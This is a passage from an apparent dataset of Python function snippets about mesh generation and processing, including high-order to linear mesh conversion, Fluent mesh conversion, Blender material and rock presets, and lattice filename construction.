corresponding z coordiantes\\r\\n #v_arr - direction vector of the coresponding lateral mesh edge\\r\\n a_arr, r_arr, z_arr, v_arr = cf.transform(strokes, add_pedestal_bottom=True,add_pedestal_top=True)\\r\\n\\r\\n #make a summary plots\\r\\n cf.plot_loft_paths(profiles)\\r\\n cf.plot_loft_paths(pos)\\r\\n cf.plot_surf(a_arr,z_arr,r_arr)\\r\\n\\r\\n #collect data to the dictionary longeron wise\\r\\n res_dict = {'a_arr':np.rot90(a_arr, k=-1),\\r\\n 'r_arr':np.rot90(r_arr, k=-1),\\r\\n 'z_arr':np.rot90(z_arr, k=-1),\\r\\n 'v_arr':np.rot90(v_arr, k=-1)}\\r\\n\\r\\n #save result dictionary\\r\\n if not o_fname:\\r\\n o_fname = i_fname\\r\\n\\r\\n fname='{}_{}.pickle'.format(o_fname, sect_num)\\r\\n with open(fname, 'wb') as f:\\r\\n # Pickle the 'data' dictionary using the highest protocol available.\\r\\n pickle.dump(res_dict, f, pickle.HIGHEST_PROTOCOL)\\r\\n\\r\\n print(fname, ' saved')\",\n \"def plot_fenics_mesh(mesh, new_fig=True):\\n if(new_fig):\\n plt.figure()\\n\\n plot(mesh)\\n #plt.title(\\\"FEniCS mesh\\\")\\n plt.show(block=False)\\n\\n pass\",\n \"def ConvertToLinearMesh(self):\\n\\n self.__do_essential_memebers_exist__()\\n p = self.InferPolynomialDegree()\\n\\n if p <= 1:\\n return self\\n\\n if self.element_type == \\\"quad\\\" or self.element_type == \\\"hex\\\":\\n if p>13 and p!=16 and p!=32:\\n raise NotImplementedError(\\\"Cannot convert p>8 {} mesh to linear mesh\\\".format(self.element_type))\\n\\n lmesh = Mesh()\\n elements = np.copy(self.elements)\\n\\n if self.element_type == \\\"quad\\\" or self.element_type == \\\"hex\\\":\\n # This is an aranger for internal use - use PlotMeshNumbering\\n # to understand the remainder of this algorithm\\n if p == 2:\\n aranger = [0, 1, 2]\\n elif p == 3:\\n aranger = [0, 3, 2, 1]\\n elif p == 4:\\n aranger = [0, 1, 2, 3, 4]\\n elif p == 5:\\n aranger = [0, 3, 4, 2, 5, 1]\\n elif p == 6:\\n aranger = [0, 3, 6, 1, 5, 4, 2]\\n elif p == 7:\\n aranger = [0, 3, 7, 5, 2, 4, 6, 1]\\n elif p == 8:\\n aranger = range(9)\\n elif p == 9:\\n aranger = [0, 2, 3, 8, 4, 5, 6, 7, 9, 1]\\n elif p == 10:\\n aranger = [0, 6, 7, 3, 8, 1, 4, 5, 9, 10, 2]\\n elif p == 11:\\n aranger = [0, 9, 10, 6, 11, 2, 3, 4, 5, 7, 8, 1]\\n elif p == 12:\\n aranger = [0, 7, 6, 1, 12, 5, 2, 8, 10, 3, 9, 11, 4]\\n elif p == 13:\\n aranger = [0, 13, 6, 2, 7, 5, 3, 9, 8, 12, 11, 10, 4, 1]\\n elif p == 16:\\n aranger = range(17)\\n elif p == 32:\\n aranger = range(33)\\n else:\\n # This seemingly works fine for quads for some reason, so\\n # quads essentially don't need an aranger and can accomdate\\n # arbitrary p\\n aranger = range(p+1)\\n\\n\\n if self.element_type == \\\"quad\\\":\\n # Create a dummy hex mesh with 1 element for indexing\\n mesh = Mesh()\\n mesh.Square(n=1, element_type=\\\"quad\\\")\\n mesh.GetHighOrderMesh(p=p, equally_spaced=True)\\n # Create the mapping indices from the high order mesh\\n mapper = []\\n for i in range(mesh.elements.shape[1]):\\n x = np.where(mesh.elements.ravel()==i)[0][0]\\n mapper.append(x)\\n mapper = np.array(mapper).ravel()\\n\\n # Create layers\\n layer0 = []\\n for j in range(p+1):\\n l0 = np.linspace(0,p*(p+1), p+1).astype(np.int64) + j#*(p+1)**2\\n layer0.append(l0)\\n # This layers values can be used in conjunction\\n # with mesh.PlotMeshNumbering() to get aranger values for other ps\\n layers2d = np.array(layer0)\\n # print(layers2d)\\n # mesh.PlotMeshNumbering()\\n\\n layers2d = layers2d[:,aranger]\\n layers2d = layers2d[aranger,:]\\n\\n # Create connectivity from layers now\\n indexer = []\\n for j in range(p):\\n for k in range(p):\\n indexer.append(layers2d[j:j+2,k:k+2].ravel()[[0,2,3,1]])\\n indexer = np.array(indexer)\\n\\n # Create the final mapp from high to linear mesh.\\n # This is equivalent to p==2 for all a1, a2 ... arrays\\n a_s = mapper.ravel()[indexer].reshape(indexer.shape)\\n\\n lmesh.elements = np.zeros((1,4), dtype=np.int64)\\n for counter, a in enumerate(a_s):\\n lmesh.elements = np.concatenate((\\n lmesh.elements, elements[:,a]\\n ))\\n lmesh.elements = lmesh.elements[1:,:].astype(np.int64)\\n\\n\\n elif self.element_type == \\\"hex\\\":\\n\\n if p == 2:\\n\\n a1 = [ 0, 8, 10, 9, 13, 17, 19, 18]\\n a2 = [13, 17, 19, 18, 4, 22, 24, 23]\\n a3 = [ 8, 1, 11, 10, 17, 14, 20, 19]\\n a4 = [17, 14, 20, 19, 22, 5, 25, 24]\\n a5 = [ 9, 10, 12, 3, 18, 19, 21, 16]\\n a6 = [18, 19, 21, 16, 23, 24, 26, 7]\\n a7 = [10, 11, 2, 12, 19, 20, 15, 21]\\n a8 = [19, 20, 15, 21, 24, 25, 6, 26]\\n\\n lmesh.elements = np.concatenate(\\n (elements[:,a1],\\n elements[:,a2],\\n elements[:,a3],\\n elements[:,a4],\\n elements[:,a5],\\n elements[:,a6],\\n elements[:,a7],\\n elements[:,a8]\\n ))\\n\\n else:\\n\\n # Create a dummy hex mesh with 1 element for indexing\\n mesh = Mesh()\\n mesh.Cube(n=1, element_type=\\\"hex\\\")\\n mesh.GetHighOrderMesh(p=p, equally_spaced=True)\\n # Create the mapping indices from the high order mesh\\n mapper = []\\n for i in range(mesh.elements.shape[1]):\\n x = np.where(mesh.elements.ravel()==i)[0][0]\\n mapper.append(x)\\n mapper = np.array(mapper).ravel()\\n\\n # Create layers\\n layer0 = []\\n for j in range(p+1):\\n l0 = np.linspace(0,p*(p+1), p+1).astype(np.int64) + j*(p+1)**2\\n layer0.append(l0)\\n\\n layers = [layer0]\\n for j in range(1, p+1):\\n layers.append([layer+j for layer in layer0])\\n # This layers values can be used in conjunction\\n # with mesh.PlotMeshNumbering() to get aranger values for other ps\\n layers = np.array(layers)\\n\\n layers = layers[:,:,aranger]\\n layers = layers[:,aranger,:]\\n layers = layers[aranger,:,:]\\n\\n\\n # Create connectivity from layers now\\n indexer = []\\n for i in range(p):\\n for j in range(p):\\n for k in range(p):\\n indexer.append(\\n np.hstack((\\n layers[i,j:j+2,k:k+2].ravel()[[0,2,3,1]],\\n layers[i+1,j:j+2,k:k+2].ravel()[[0,2,3,1]]\\n )))\\n indexer = np.array(indexer)\\n\\n # Create the final mapp from high to linear mesh.\\n # This is equivalent to p==2 for all a1, a2 ... arrays\\n a_s = mapper.ravel()[indexer].reshape(indexer.shape)\\n\\n lmesh.elements = np.zeros((1,8), dtype=np.int64)\\n for counter, a in enumerate(a_s):\\n lmesh.elements = np.concatenate((\\n lmesh.elements, elements[:,a]\\n ))\\n lmesh.elements = lmesh.elements[1:,:].astype(np.int64)\\n\\n\\n elif self.element_type == \\\"tet\\\":\\n\\n from Florence.QuadratureRules.FeketePointsTet import FeketePointsTet\\n from scipy.spatial import Delaunay\\n\\n # BUILD DELAUNAY TRIANGULATION OF REFERENCE ELEMENTS\\n gpoints = FeketePointsTet(p-1)\\n Tfunc = Delaunay(gpoints)\\n simplex = Tfunc.simplices.copy()\\n\\n lmesh.elements = np.zeros((1,4))\\n for i in range(Tfunc.nsimplex):\\n lmesh.elements = np.concatenate((lmesh.elements,elements[:,simplex[i,:]]))\\n lmesh.elements = lmesh.elements[1:,:]\\n\\n elif self.element_type == \\\"tri\\\":\\n\\n from Florence.QuadratureRules.FeketePointsTri import FeketePointsTri\\n from scipy.spatial import Delaunay\\n\\n # BUILD DELAUNAY TRIANGULATION OF REFERENCE ELEMENTS\\n gpoints = FeketePointsTri(p-1)\\n Tfunc = Delaunay(gpoints)\\n simplex = Tfunc.simplices.copy()\\n\\n lmesh.elements = np.zeros((1,3))\\n for i in range(Tfunc.nsimplex):\\n lmesh.elements = np.concatenate((lmesh.elements,elements[:,simplex[i,:]]))\\n lmesh.elements = lmesh.elements[1:,:]\\n\\n else:\\n raise NotImplementedError(\\\"Converting to linear mesh with {} elements not implemented yet\\\".format(self.element_type))\\n\\n\\n lmesh.elements = np.ascontiguousarray(lmesh.elements,dtype=np.int64)\\n lmesh.points = np.copy(self.points)\\n lmesh.degree = 1\\n lmesh.element_type = self.element_type\\n lmesh.nelem = lmesh.elements.shape[0]\\n lmesh.nnode = lmesh.points.shape[0]\\n edim = self.InferElementalDimension()\\n if edim == 3:\\n lmesh.GetBoundaryFaces()\\n lmesh.GetBoundaryEdges()\\n elif edim == 2:\\n lmesh.GetBoundaryEdges()\\n\\n return lmesh\",\n \"def create(self):\\n assert self.name != \\\"Settings\\\", \\\"Cannot create a new mesh region with this Name\\\"\\n args = [\\\"NAME:\\\" + self.name, \\\"Enable:=\\\", self.Enable]\\n if self.UserSpecifiedSettings:\\n args += self.manualsettings\\n else:\\n args += self.autosettings\\n self.meshmodule.AssignMeshRegion(args)\\n return True\",\n \"def defineRectangleLayout(self):\\n\\n #--- Define a 2-D mesh ---\\n # Divide x- and y-axis\\n self.xPoints = self.frange(0,self.Lx,self.h)\\n self.yPoints = self.frange(0,self.Ly,self.h)\\n\\n # Position (xy-coordinate) of boundary points\\n boundary_xyCoord = [(0,j) for j in self.yPoints] + [(self.Lx,j) for j in self.yPoints] + [(i,0) for i in self.xPoints[1:len(self.xPoints)-1]] + [(i,self.Ly) for i in self.xPoints[1:len(self.xPoints)-1]] \\n\\n # Define the dictionary containing boundary points\\n for k in boundary_xyCoord:\\n x = k[0]\\n y = k[1]\\n xLabel = self.xPoints.index(x)\\n yLabel = self.yPoints.index(y)\\n self.boundaryPoints[(xLabel,yLabel)] = meshPoint(type = 'boundary',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \\n \\n # Position (xy-coordinate) of internal mesh points\\n internal_xyCoord = [(i,j) for i in self.xPoints[1:len(self.xPoints)-1] for j in self.yPoints[1:len(self.yPoints)-1]] \\n\\n # Define the dictionary containing internal points\\n for k in internal_xyCoord:\\n x = k[0]\\n y = k[1]\\n xLabel = self.xPoints.index(x)\\n yLabel = self.yPoints.index(y)\\n self.internalPoints[(xLabel,yLabel)] = meshPoint(type = 'internal',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \\n\\n # Now that we have assigned the labels we can define fE, fW, fN and fS\\n self.fCalc()\",\n \"def compute_mesh(nrow, ncol, nele):\\n tri_index = np.zeros((nele, 3))\\n for i in range(nrow-1):\\n for j in range(NUM):\\n if j == 0:\\n tri_index[i*4*NUM+j*4, 0] = (i+1)+(2*j+1)*nrow\\n tri_index[i*4*NUM+j*4, 1] = (i+1)\\n tri_index[i*4*NUM+j*4, 2] = (i+2)\\n\\n tri_index[i*4*NUM+j*4+1, 0] = (i+1)+(2*j+1)*nrow\\n tri_index[i*4*NUM+j*4+1, 1] = (i+2)\\n tri_index[i*4*NUM+j*4+1, 2] = (i+2)+(2*j+1)*nrow\\n else:\\n tri_index[i*4*NUM+j*4, 0] = (i+1)+(2*j+1)*nrow\\n tri_index[i*4*NUM+j*4, 1] = (i+1)+(2*j-1)*nrow\\n tri_index[i*4*NUM+j*4, 2] = (i+2)+(2*j-1)*nrow\\n\\n tri_index[i*4*NUM+j*4+1, 0] = (i+1)+(2*j+1)*nrow\\n tri_index[i*4*NUM+j*4+1, 1] = (i+2)+(2*j-1)*nrow\\n tri_index[i*4*NUM+j*4+1, 2] = (i+2)+(2*j+1)*nrow\\n \\n tri_index[i*4*NUM+j*4+2, 0] = (i+1)+2*j*nrow\\n tri_index[i*4*NUM+j*4+2, 1] = (i+1)+2*(j+1)*nrow\\n tri_index[i*4*NUM+j*4+2, 2] = (i+2)+2*(j+1)*nrow\\n\\n tri_index[i*4*NUM+j*4+3, 0] = (i+1)+2*j*nrow\\n tri_index[i*4*NUM+j*4+3, 1] = (i+2)+2*(j+1)*nrow\\n tri_index[i*4*NUM+j*4+3, 2] = (i+2)+2*j*nrow\\n return tri_index\",\n \"def make_settings():\\n settings = {}\\n num_of_rocks = 1\\n\\n obj = json.load(open('assets/add_mesh_rocks.json'))\\n presets = [obj[\\\"settings\\\"][\\\"default\\\"]] + obj[\\\"settings\\\"][\\\"preset\\\"]\\n\\n for preset in presets:\\n title = preset[\\\"title\\\"]\\n # SIZE\\n size = preset[\\\"size\\\"]\\n\\n x, y, z = size[\\\"scale\\\"]\\n if title == \\\"Default\\\":\\n scale = uniform(float(x[\\\"lower\\\"]), float(x[\\\"upper\\\"]))\\n scale_X = [scale, scale]\\n scale_Y = [scale, scale]\\n scale_Z = [scale, scale]\\n else:\\n scale_X = [float(x[\\\"lower\\\"]), float(x[\\\"upper\\\"])]\\n scale_Y = [float(y[\\\"lower\\\"]), float(y[\\\"upper\\\"])]\\n scale_Z = [float(z[\\\"lower\\\"]), float(z[\\\"upper\\\"])]\\n\\n x, y, z = size[\\\"skew\\\"]\\n skew_X = float(x[\\\"value\\\"])\\n skew_Y = float(y[\\\"value\\\"])\\n skew_Z = float(z[\\\"value\\\"])\\n\\n scale_fac = ast.literal_eval(size[\\\"scale_fac\\\"])\\n use_scale_dis = bool(size[\\\"use_scale_dis\\\"])\\n\\n # SHAPE\\n shape = preset[\\\"shape\\\"]\\n\\n deform = float(shape[\\\"deform\\\"])\\n rough = float(shape[\\\"rough\\\"])\\n detail = float(shape[\\\"detail\\\"])\\n display_detail = float(shape[\\\"display_detail\\\"])\\n smooth_fac = float(shape[\\\"smooth_fac\\\"])\\n smooth_it = float(shape[\\\"smooth_it\\\"])\\n\\n\\n # MATERIAL\\n material = preset[\\\"material\\\"]\\n \\n mat_enable = bool(material[\\\"mat_enable\\\"])\\n mat_color = ast.literal_eval(material[\\\"mat_color\\\"])\\n mat_bright = float(material[\\\"mat_bright\\\"])\\n mat_rough = float(material[\\\"mat_rough\\\"])\\n mat_spec = float(material[\\\"mat_spec\\\"])\\n mat_hard = float(material[\\\"mat_hard\\\"])\\n mat_use_trans = bool(material[\\\"mat_use_trans\\\"])\\n mat_alpha = float(material[\\\"mat_alpha\\\"])\\n mat_cloudy = float(material[\\\"mat_cloudy\\\"])\\n mat_IOR = float(material[\\\"mat_IOR\\\"])\\n mat_mossy = float(material[\\\"mat_mossy\\\"])\\n\\n # RANDOM\\n random = preset[\\\"random\\\"]\\n\\n use_generate = bool(random[\\\"use_generate\\\"])\\n use_random_seed = bool(random[\\\"use_random_seed\\\"])\\n user_seed = float(random[\\\"user_seed\\\"])\\n\\n\\n settings[title] = [\\n context,\\n scale_X,\\n skew_X,\\n scale_Y,\\n skew_Y,\\n scale_Z,\\n skew_Z,\\n scale_fac,\\n detail,\\n display_detail,\\n deform,\\n rough,\\n smooth_fac,\\n smooth_it,\\n mat_enable,\\n mat_color,\\n mat_bright,\\n mat_rough,\\n mat_spec,\\n mat_hard,\\n mat_use_trans,\\n mat_alpha,\\n mat_cloudy,\\n mat_IOR,\\n mat_mossy,\\n num_of_rocks,\\n user_seed,\\n False,\\n use_random_seed\\n ]\\n\\n return settings\",\n \"def convert(fluentmesh, \\n func=None, \\n mesh_format='nek5000', # nek5000, semtex or fenics\\n periodic_dx={}, curves = {}, bcs = False, # nek5000 and semtex\\n temperature=False, passive_scalars=[], # nek5000 only\\n cylindrical=1, NZ=1): # semtex only\\n ofilename = fluentmesh[:-4]\\n ifile = open(fluentmesh, \\\"r\\\")\\n\\n if not nodes:\\n # Read all lines of fluent mesh\\n #lines = ifile.readlines()\\n #if len(lines) == 0:\\n #raise IOError(\\\"Empty fluent mesh file\\\")\\n \\n #scan_fluent_mesh(lines)\\n scan_fluent_mesh(ifile)\\n\\n dim = nodes.shape[0]\\n create_cell_face_map(dim, mesh_format)\\n create_periodic_face_map(periodic_dx)\\n create_periodic_cell_face_map()\\n create_boundary_section(bcs, temperature, passive_scalars, mesh_format)\\n # Modify the entire mesh using the shape-function func\\n if func:\\n sz = nodes.shape\\n for i in range(sz[1]):\\n x, y = nodes[:, i]\\n if 'x' in func:\\n xnew = func['x'](x, y)\\n if abs(xnew - x) > 1e-6:\\n nodes[0, i] = xnew\\n if 'y' in func:\\n ynew = func['y'](x, y)\\n if abs(ynew - y) > 1e-6:\\n nodes[1, i] = ynew\\n if mesh_format == 'nek5000':\\n print 'Warning!! Consider using userdat/userdat2 instead!'\\n\\n if not mesh_format == 'fenics':\\n read_curved_sides(curves)\\n\\n # Generate the mesh files for given mesh format\\n if mesh_format == 'nek5000':\\n write_nek5000_file(dim, ofilename, curves, temperature, passive_scalars)\\n elif mesh_format == 'semtex':\\n write_semtex_file(dim, ofilename, curves, cylindrical, NZ)\\n if mesh_format == 'fenics':\\n write_fenics_file(dim, ofilename)\\n\\n ifile.close()\",\n \"def __init__(\\n self,\\n name: str,\\n createStepName: str,\\n surface: Region,\\n interactionProperty: str,\\n mechanicalConstraint: SymbolicConstant = KINEMATIC,\\n contactControls: str = \\\"\\\",\\n ):\\n super().__init__()\\n pass\",\n \"def decorate_scene():\\n make_polygon( (100,100),(120,140),(270,70) )\\n make_polygon( (300,10), (300,550), (340,452),(380,300), (330,50))\\n make_polygon( (200,450), (100,450), (100,500), (200,500) )\\n make_polygon( (130,320), (150,300), (140,280) )\\n return\",\n \"def setup_contour_input():\\n from bfieldtools.utils import load_example_mesh\\n\\n mesh = load_example_mesh(\\\"unit_disc\\\")\\n\\n r = np.linalg.norm(mesh.vertices, axis=1)\\n scalars = (1 - r) ** 2\\n scalars *= mesh.vertices[:, 0]\\n\\n return mesh, scalars\",\n \"def _write_mesh_change(self, writer):\\n bloc = \\\"\\\"\\n grps = self._grp_names_for_mesh\\n model = writer.get(Modelisation)\\n if grps and model: \\n lines = WC.Lines()\\n cmd = \\\"MAIL=MODI_MAILLAGE(\\\"\\n lines.add(cmd + \\\"reuse=MAIL,\\\")\\n lines.init_idt = \\\" \\\" * len(cmd)\\n lines.add(\\\"MAILLAGE=MAIL,\\\")\\n opt = \\\"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\\\"\\n lines.add(opt % (model.give_dim(), tuple(grps)))\\n lines.add(\\\");\\\")\\n bloc = lines.build_part()\\n writer.subs(\\\"mesh_change_key\\\", bloc)\",\n \"def AddDispersionMaterial(GeometryName,RGBData):\\n\\n r,g,b=RGBData\\n onlyR = tuple([r,0,0,1])\\n onlyG = tuple([0,g,0,1])\\n onlyB = tuple([0,0,b,1])\\n\\n\\n currentMaterial = bpy.data.materials.new(name='TypeA'+GeometryName)\\n currentMaterial.use_nodes = True\\n nodes = currentMaterial.node_tree.nodes\\n\\n math01 = nodes.new(\\\"ShaderNodeMath\\\")\\n math01.operation = \\\"POWER\\\"\\n\\n glassBSDF01 = nodes.new(\\\"ShaderNodeBsdfGlass\\\")\\n glassBSDF01.inputs[0].default_value = onlyR\\n currentMaterial.node_tree.links.new(math01.outputs[0],glassBSDF01.inputs[1])\\n\\n glassBSDF02 = nodes.new(\\\"ShaderNodeBsdfGlass\\\")\\n glassBSDF02.inputs[0].default_value = onlyG\\n currentMaterial.node_tree.links.new(math01.outputs[0],glassBSDF02.inputs[1])\\n\\n glassBSDF03 = nodes.new(\\\"ShaderNodeBsdfGlass\\\")\\n glassBSDF03.inputs[0].default_value = onlyB\\n currentMaterial.node_tree.links.new(math01.outputs[0],glassBSDF03.inputs[1])\\n\\n math02 = nodes.new(\\\"ShaderNodeMath\\\")\\n currentMaterial.node_tree.links.new(math02.outputs[0],glassBSDF02.inputs[2])\\n\\n math03 = nodes.new(\\\"ShaderNodeMath\\\")\\n currentMaterial.node_tree.links.new(math02.outputs[0],math03.inputs[1])\\n currentMaterial.node_tree.links.new(math03.outputs[0],glassBSDF01.inputs[2])\\n\\n addShader01 = nodes.new(\\\"ShaderNodeAddShader\\\")\\n currentMaterial.node_tree.links.new(glassBSDF01.outputs[0],addShader01.inputs[0])\\n currentMaterial.node_tree.links.new(glassBSDF02.outputs[0],addShader01.inputs[1])\\n\\n addShader02 = nodes.new(\\\"ShaderNodeAddShader\\\")\\n currentMaterial.node_tree.links.new(addShader01.outputs[0],addShader02.inputs[0])\\n currentMaterial.node_tree.links.new(glassBSDF03.outputs[0],addShader02.inputs[1])\\n\\n volumeAbs = nodes.new(\\\"ShaderNodeVolumeAbsorption\\\")\\n\\n materialOutput=nodes.get(\\\"Material Output\\\")\\n currentMaterial.node_tree.links.new(addShader02.outputs[0],materialOutput.inputs[0])\\n currentMaterial.node_tree.links.new(volumeAbs.outputs[0],materialOutput.inputs[1])\\n\\n bpy.data.objects[GeometryName].data.materials.append(currentMaterial)\",\n \"def build_meshfn(lp):\\n # Place values assoc with keys of lattice_params as their defaults if not specified\\n LatticeTop = lp['LatticeTop']\\n shape = lp['shape']\\n rootdir = lp['rootdir']\\n NH = lp['NH']\\n NV = lp['NV']\\n if isinstance(NH, float):\\n raise RuntimeError('Why is NH a float?')\\n\\n if 'cutLstr' in lp:\\n cutLstr = lp['cutLstr']\\n else:\\n cutLstr = ''\\n\\n if 'delta_lattice' in lp:\\n delta_lattice = lp['delta_lattice']\\n elif 'delta' in lp:\\n delta_lattice = '{0:0.3f}'.format(lp['delta'] / np.pi).replace('.', 'p')\\n else:\\n delta_lattice = ''\\n lp['delta_lattice'] = delta_lattice\\n\\n print '\\\\n\\\\n\\\\n in le: delta_lattice = ', lp['delta_lattice'], '\\\\n\\\\n\\\\n'\\n # sys.exit()\\n\\n if 'phi_lattice' in lp:\\n phi_lattice = lp['phi_lattice'].replace('.', 'p').replace('-', 'n')\\n else:\\n if 'phi' in lp:\\n phi_lattice = '{0:0.3f}'.format(lp['phi'] / np.pi).replace('.', 'p').replace('-', 'n')\\n else:\\n phi_lattice = '0p000'\\n\\n if 'theta_lattice' in lp:\\n theta_lattice = lp['theta_lattice']\\n else:\\n theta_lattice = ''\\n if 'eta' in lp:\\n eta = lp['eta']\\n else:\\n eta = ''\\n if 'huID' in lp:\\n huID = lp['huID']\\n elif 'conf' in lp:\\n huID = '{0:02d}'.format(int(lp['conf']))\\n else:\\n huID = '01'\\n if 'zkagome' in lp:\\n zkagome = lp['zkagome']\\n else:\\n zkagome = -1\\n if 'z' in lp:\\n z = str(lp['z'])\\n else:\\n z = -1\\n if 'origin' in lp:\\n print 'lp[origin] = ', lp['origin']\\n print \\\"(np.abs(lp['origin']) > 1e-7) = \\\", (np.abs(lp['origin']) > 1e-7)\\n if (np.abs(lp['origin']) > 1e-7).any():\\n originstr = '_originX' + '{0:0.2f}'.format(lp['origin'][0]).replace('.', 'p') + \\\\\\n 'Y' + '{0:0.2f}'.format(lp['origin'][1]).replace('.', 'p')\\n else:\\n originstr = ''\\n else:\\n originstr = ''\\n\\n if 'periodic_strip' not in lp:\\n lp['periodic_strip'] = False\\n\\n print '\\\\n\\\\n\\\\noriginstr = ', originstr\\n print 'Searching for ' + LatticeTop + ' lattice...'\\n\\n # make sure rootdir ends with /\\n rootdir = dio.prepdir(rootdir)\\n ########################################################################################\\n ########################################################################################\\n print 'LatticeTop =', LatticeTop\\n if LatticeTop == 'square':\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n etatheta_str = etastr + thetastr\\n print '\\\\n\\\\n', etatheta_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n etatheta_str + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['hexagonal', 'hexmeanfield']:\\n print '... forming hexagonal meshfn...'\\n print 'le: again, lp[periodic_strip] = ', lp['periodic_strip']\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\\n print '\\\\n\\\\n', delta_phi_str\\n print('NH = ', NH)\\n print('NV = ', NV)\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n delta_phi_str + '_' + '{0:06d}'.format(int(NH)) + '_x_' + '{0:06d}'.format(int(NV)) + \\\\\\n cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'hexannulus':\\n # correct NV if it equals NH --> this would never be possible, and so if NV isn't specified (ie N=NH=NV is\\n # specified), then use alph to determine the thickness of the annulus\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr\\n alphstr = '_alph{0:0.2f}'.format(lp['alph']).replace('.', 'p')\\n print '\\\\n\\\\n', delta_phi_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_circle' + \\\\\\n delta_phi_str + alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '*' + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'selregion' in LatticeTop:\\n # Assume there is only one instance of this selregion LatticeTop with a given NP size\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '*NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\\n elif LatticeTop == 'triangular':\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta)\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n extrastr = etastr + thetastr\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + extrastr + '_' + \\\\\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'jammed' or LatticeTop == 'isostatic':\\n if lp['periodicBC']:\\n if LatticeTop == 'jammed':\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n if lp['source'] == 'ulrich':\\n hustr = '_homog_z' + '{0:0.03f}'.format(lp['target_z']) + '_conf' + huID + '_zmethod' + lp['cutz_method']\\n elif lp['source'] == 'hexner':\\n if lp['NP_load'] > 0:\\n hustr = periodicstr + '_hexner' + '_z*_conf' + huID + '_zmethod' + lp['cutz_method']\\n else:\\n print '---> here <----'\\n if float(z) > 0:\\n zstr = '{0:0.03f}'.format(float(z))\\n else:\\n zstr = '*'\\n\\n hustr = '_hexner' + periodicstr + '_z' + zstr + '_conf' + huID + '_zmethod' + lp['cutz_method']\\n if lp['NP_load'] > 0:\\n print '{0:06d}'.format(lp['NP_load'])\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_NP' + \\\\\\n '{0:06d}'.format(lp['NP_load']) + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + \\\\\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'deformed_kagome' or LatticeTop == 'deformed_martini':\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n if np.abs(lp['theta']) > 1e-9:\\n thetastr = '_theta{0:0.3f}'.format(np.round(lp['theta'] * 1000) * 0.001).replace('.', 'p')\\n else:\\n thetastr = ''\\n\\n paramstr = '_x1_' + '{0:0.4f}'.format(lp['x1']).replace('.', 'p').replace('-', 'n') + \\\\\\n '_x2_' + '{0:0.4f}'.format(lp['x2']).replace('.', 'p').replace('-', 'n') + \\\\\\n '_x3_' + '{0:0.4f}'.format(lp['x3']).replace('.', 'p').replace('-', 'n') + \\\\\\n '_z_' + '{0:0.4f}'.format(lp['z']).replace('.', 'p').replace('-', 'n')\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr +\\\\\\n thetastr + paramstr + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'twisted_kagome':\\n paramstr = '_alph_' + '{0:0.4f}'.format(lp['alph'])\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + paramstr + '_{0:06d}'.format(\\n NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'hyperuniform' in LatticeTop:\\n # hyperuniform ID string\\n hustr = '_d' + huID + '_z{0:0.3f}'.format(lp['target_z']).replace('.', 'p').replace('-', 'n')\\n if lp['periodicBC']:\\n if 